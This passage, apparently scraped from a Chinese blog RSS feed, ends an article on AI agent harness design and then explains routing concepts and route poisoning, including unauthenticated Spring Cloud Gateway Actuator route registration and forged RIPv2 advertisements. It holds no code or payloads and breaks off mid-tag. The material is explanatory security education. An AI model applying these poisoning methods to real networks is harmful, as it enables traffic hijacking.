left;&quot;&gt;Anthropic 的 Agent Eval 实践把评分器分成&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;代码评分、模型评分和人工评分&lt;/strong&gt;三类，同时区分&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;能力评测和回归评测&lt;/strong&gt;。对于 Coding Agent，单元测试、静态分析和结果验证等确定性方法可以直接参与结果检查；开放程度更高的任务，再根据需要加入模型评分或人工评分。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;3&quot; loading=&quot;lazy&quot; data-src=&quot;https://img2024.cnblogs.com/blog/3796273/202608/3796273-20260819135307849-2106493448.png&quot; src=&quot;https://img2024.cnblogs.com/blog/3796273/202608/3796273-20260819135307849-2106493448.png&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; max-width: 100%; cursor: zoom-in; height: auto !important; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;验证的核心不是再堆一个“裁判模型”，而是先让执行结果产生可检查的证据，再交由程序、独立评估器、审查 Agent 或人完成最终判断。&lt;/p&gt;&lt;h2 id=&quot;harness-的工程价值在于可控执行&quot; style=&quot;margin: 10px 0px; padding: 0px; color: rgb(0, 0, 0); font-size: 21px; line-height: 1.5; text-align: left;&quot;&gt;Harness 的工程价值在于可控执行&lt;/h2&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;Harness 往往并不是从零开始设计出来的。只要系统里已经存在反复使用的&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;指令****、自动化测试、权限规则和完成条件&lt;/strong&gt;，Harness 实际上就已经存在；区别在于这些机制是被有意识地设计，还是由各种临时补丁长期累积出来。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;DeepSeek Harness 的&amp;nbsp;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;Everything is a Plugin&lt;/strong&gt;&amp;nbsp;展示了一种模块化的组织方式：Agent Loop、工具注册表、会话日志和 Model Adapter 等组件都可以通过插件组合和替换；Agent 预设控制一个会话实际获得的工具、提示词和其他能力；事件日志保存持久状态；上下文压缩管理模型当前看到的信息；沙箱和授权确认负责部分执行边界。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;独立评估目前仍属于 DeepSeek Harness 的延后工作。能够让 Agent 持续运行，并不自动意味着系统已经解决了任务完成状态的验证。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;Harness 本身也会增加工程和运行成本，因此并非所有任务都需要把这六层机制做满。对于需要长时间无人值守、跨会话恢复、严格权限控制和独立验收的任务，这些额外机制更有价值；对于很短、很容易人工确认的一次性任务，简单 Harness 往往已经足够。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;如果从一个最小版本开始，这里有一套轻量级实践：&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;指令****文件保持简短，把它作为正式文档的索引；同一类问题反复出现后，将文字提醒升级为 Linter 或构建规则；再配合四个持久文件、不能被上下文压缩丢失的固定规则，以及一组小型评测集。&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;核心思路是逐步把原本依赖人反复提醒和记忆的约束，固化为 Harness 中可执行、可恢复、可验证的机制。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;最后，建议优先从&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;停止规则&lt;/strong&gt;和&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;外部持久状态&lt;/strong&gt;开始。这两项实现成本相对较低，而且对具体模型版本的依赖较小。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;设计 Agent Harness，最终需要回答六个问题：&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;任务如何持续运行、Agent 能看到哪些工具、当前上下文保留什么、长期状态如何恢复、执行权限如何限制，以及什么证据足以确认任务完成。&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;这些机制共同决定 Agent 能否在长程任务中持续执行、在中断后恢复、在明确边界内操作，并通过可检查的证据完成任务验收。&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Thu, 20 Aug 2026 13:53:00 +0800</pubDate></item><item><title>牛牛机器人   路由是指根据网络中的拓扑结构和路由策略</title><link>http://www.cbtwr.com/?id=7</link><description>&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;路由是指根据网络中的拓扑结构和路由策略，决定数据包从源节点到目标节点的传输路径&lt;/strong&gt;。在路由过程中，数据包会经过多个中间节点（路由器）进行转发，直到达到目标节点。路由的主要目标是选择最佳路径，使数据包能够高效地传输，并兼顾网络的性能、可靠性和安全性。&lt;/p&gt;&lt;h2 id=&quot;动态路由协议&quot; style=&quot;box-sizing: border-box; font-size: 21px; line-height: 1.5; margin: 10px 0px; border-left: 4px solid rgb(33, 150, 243); padding-left: 15px; font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); color: rgb(26, 26, 26) !important; text-align: left;&quot;&gt;动态路由协议&lt;/h2&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;路由器之间通过特定协议自动交换网络拓扑信息。&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;距离矢量协议：如&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;RIP&lt;/code&gt;&amp;nbsp;路由器仅与直连邻居交换完整路由表，以跳数为度量标准。信任邻居通告的信息，缺乏全局拓扑视图。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;链路状态协议：如&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;OSPF&lt;/code&gt;&amp;nbsp;路由器广播链路状态通告（LSA），所有路由器独立构建完整的拓扑数据库并计算最短路径。&lt;/p&gt;&lt;h2 id=&quot;路由表&quot; style=&quot;box-sizing: border-box; font-size: 21px; line-height: 1.5; margin: 10px 0px; border-left: 4px solid rgb(33, 150, 243); padding-left: 15px; font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); color: rgb(26, 26, 26) !important; text-align: left;&quot;&gt;路由表&lt;/h2&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;存储在路由器或网关内存中的数据结构，本质是一张&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;目标地址 → 下一跳/处理动作&lt;/strong&gt;的&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;映射表&lt;/strong&gt;。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;每当数据包/请求到达时，设备查此表决定往哪里送或怎么处理，但是这里不能类比为“地图”或“导航”。&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;它更接近数据库中的索引表：查询条件匹配某条记录，则执行该记录指定的操作。无匹配则有默认规则或丢弃。&lt;/strong&gt;&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;关键点：&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;路由表是可写的&lt;/strong&gt;。设备启动时加载初始表项，运行期间可通过&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;协议、API或管理接口&lt;/code&gt;动态增删改。路由投毒攻击的目标就是这张表的写入过程。&lt;/p&gt;&lt;h2 id=&quot;路由更新&quot; style=&quot;box-sizing: border-box; font-size: 21px; line-height: 1.5; margin: 10px 0px; border-left: 4px solid rgb(33, 150, 243); padding-left: 15px; font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); color: rgb(26, 26, 26) !important; text-align: left;&quot;&gt;路由更新&lt;/h2&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;路由更新指的是&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;向路由表写入新条目或修改现有条目的操作&lt;/strong&gt;，这里要区别合法和非法的形式&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;合法形式：&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;网络层：路由器之间通过&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;RIP/OSPF/BGP&lt;/code&gt;等协议&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;自动交换拓扑变化信息&lt;/strong&gt;。&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;应用层：管理员通过CLI、REST API（如&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;Spring Cloud Gateway Actuator&lt;/code&gt;）&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;手动配置路由规则&lt;/strong&gt;。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;非法形式：&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;攻击者伪造更新消息或调用未授权接口，向路由表&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;注入非预期条目&lt;/strong&gt;。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;路由更新本身是中性机制。问题在于&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;更新来源是否可信、内容是否被验证&lt;/strong&gt;。传统路由协议早期版本（如RIPv1）和未加固的Actuator端点均缺乏验证，使恶意更新与合法更新在技术上不可区分。&lt;/p&gt;&lt;h2 id=&quot;度量值与路径选择&quot; style=&quot;box-sizing: border-box; font-size: 21px; line-height: 1.5; margin: 10px 0px; border-left: 4px solid rgb(33, 150, 243); padding-left: 15px; font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); color: rgb(26, 26, 26) !important; text-align: left;&quot;&gt;度量值与路径选择&lt;/h2&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;度量值是指&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;路由表中每条记录附带的数值或属性&lt;/strong&gt;，在路由中用于判断路由路径的优先级，直接影响数据包的转发路径。&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;不同的路由协议使用不同的度量值计算方法：&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;网络层示例：RIP用跳数，OSPF用带宽倒数计算的Cost，&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;BGP用AS_PATH长度+本地偏好&lt;/code&gt;等多属性组合。&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;应用层示例：&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;Spring Cloud Gateway&lt;/code&gt;中，&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;Predicate&lt;/code&gt;的匹配顺序、&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;Filter&lt;/code&gt;链的执行优先级、路由定义的注册顺序均构成隐式度量。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;度量值的比较过程是路由优选的依据之一，只有当路由优先级相同时，才会使用路由度量进行比较。&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;度量值数值越小越优先&lt;/strong&gt;，路由投毒常通过&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;伪造更优度量值&lt;/code&gt;（如更小跳数、更高优先级Predicate）使恶意路由被优先选中。若无法伪造度量值，则可能直接覆盖原有同名路由条目&lt;/p&gt;&lt;h2 id=&quot;信任边界&quot; style=&quot;box-sizing: border-box; font-size: 21px; line-height: 1.5; margin: 10px 0px; border-left: 4px solid rgb(33, 150, 243); padding-left: 15px; font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); color: rgb(26, 26, 26) !important; text-align: left;&quot;&gt;信任边界&lt;/h2&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;系统设计中预设的“可信区域”与“不可信区域”的分界&lt;/strong&gt;&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;路由协议的原始假设：&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;同一自治系统内的所有路由器互信；管理接口仅内网管理员可访问&lt;/strong&gt;。&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;但在真实环境下往往如下：&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;攻击者成功接入内网&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;Actuator端点暴露于公网或未加认证，外部请求被视为合法管理操作&lt;/p&gt;&lt;h2 id=&quot;控制平面与数据平面分离&quot; style=&quot;box-sizing: border-box; font-size: 21px; line-height: 1.5; margin: 10px 0px; border-left: 4px solid rgb(33, 150, 243); padding-left: 15px; font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); color: rgb(26, 26, 26) !important; text-align: left;&quot;&gt;控制平面与数据平面分离&lt;/h2&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;控制平面：&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;构建与维护路由表的逻辑&lt;/strong&gt;（路由协议进程、Actuator API、配置同步模块）&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;数据平面：&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;依据路由表实际转发流量&lt;/strong&gt;（路由器ASIC/转发表、Gateway Netty过滤器链）&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;攻击定位：路由投毒是针对控制平面的攻击，损害体现在数据平面。攻击者不直接拦截流量，而是污染决策数据，使数据平面执行错误转发。&lt;/p&gt;&lt;hr style=&quot;box-sizing: border-box; border-top: rgba(0, 0, 0, 0.15); border-right-color: rgba(0, 0, 0, 0.15); border-bottom-color: rgba(0, 0, 0, 0.15); border-left-color: rgba(0, 0, 0, 0.15); margin: 5px 0px; font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243);&quot;/&gt;&lt;h1 id=&quot;路由投毒&quot; style=&quot;box-sizing: border-box; font-size: 28px; line-height: 1.5; margin: 10px 0px; border-left: 4px solid rgb(33, 150, 243); padding-left: 15px; font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); color: rgb(26, 26, 26) !important; text-align: left;&quot;&gt;路由投毒&lt;/h1&gt;&lt;h2 id=&quot;定义&quot; style=&quot;box-sizing: border-box; font-size: 21px; line-height: 1.5; margin: 10px 0px; border-left: 4px solid rgb(33, 150, 243); padding-left: 15px; font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); color: rgb(26, 26, 26) !important; text-align: left;&quot;&gt;定义&lt;/h2&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;路由投毒是指通过未授权或伪造的手段，向路由决策系统的&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;控制平面注入、篡改或删除路由条目&lt;/strong&gt;，致使数据平面依据被污染的路由表&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;执行非预期转发行为&lt;/strong&gt;的技术现象。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;该定义涵盖两个互斥子类：&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;恶意路由投毒&lt;/strong&gt;：攻击者主动实施的破坏性行为，目标是破坏网络可用性、机密性或完整性。本文后续内容均指此子类。&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;防环路由中毒&lt;/strong&gt;（：距离矢量协议（如RIP）中，路由器在链路失效时主动将对应路由度量值设为无穷大，以通知邻居该路径不可达，防止计数到无穷问题。此为协议标准规定的正常机制，非安全威胁。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;作用层级扩展&lt;/strong&gt;：传统定义限于OSI第3层（网络层），但现代软件定义网络、API网关、服务网格等应用层基础设施同样存在路由决策平面。凡具备“&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;路由表 + 动态更新机制 + 信任假设&lt;/strong&gt;”三要素的系统，均适用路由投毒分析框架。&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;Spring Cloud Gateway Actuator&lt;/code&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;未授权路由注册&lt;/strong&gt;即属应用层实例。&lt;/p&gt;&lt;h2 id=&quot;攻击原理&quot; style=&quot;box-sizing: border-box; font-size: 21px; line-height: 1.5; margin: 10px 0px; border-left: 4px solid rgb(33, 150, 243); padding-left: 15px; font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); color: rgb(26, 26, 26) !important; text-align: left;&quot;&gt;攻击原理&lt;/h2&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;分了网络层和应用层，这里网络层跟本文涉及到的路由投毒无关，&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;重点关注应用层路由投毒&lt;/strong&gt;&lt;/p&gt;&lt;h3 id=&quot;网络层攻击原理&quot; style=&quot;box-sizing: border-box; font-size: 16px; line-height: 1.5; margin: 10px 0px; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;网络层攻击原理&lt;/h3&gt;&lt;ol style=&quot;box-sizing: border-box; margin-left: 2.5rem; padding-left: 0px; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243);&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;RIP&lt;/strong&gt;（Routing Information Protocol）&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;协议特性&lt;/strong&gt;：距离矢量协议；UDP 520；最大跳数15（16=不可达）；默认无认证（RIPv1完全无，RIPv2可选明文/MD5）。&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;攻击方式&lt;/strong&gt;：攻击者接入网络后，周期性发送伪造&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;RIPv2 Response&lt;/code&gt;报文，通告目标网络经由攻击者主机可达且跳数为1。&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;生效条件&lt;/strong&gt;：受害者路由器收到伪造报文后，因跳数优于现有路由（或无现有路由），将其加入路由表。&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: 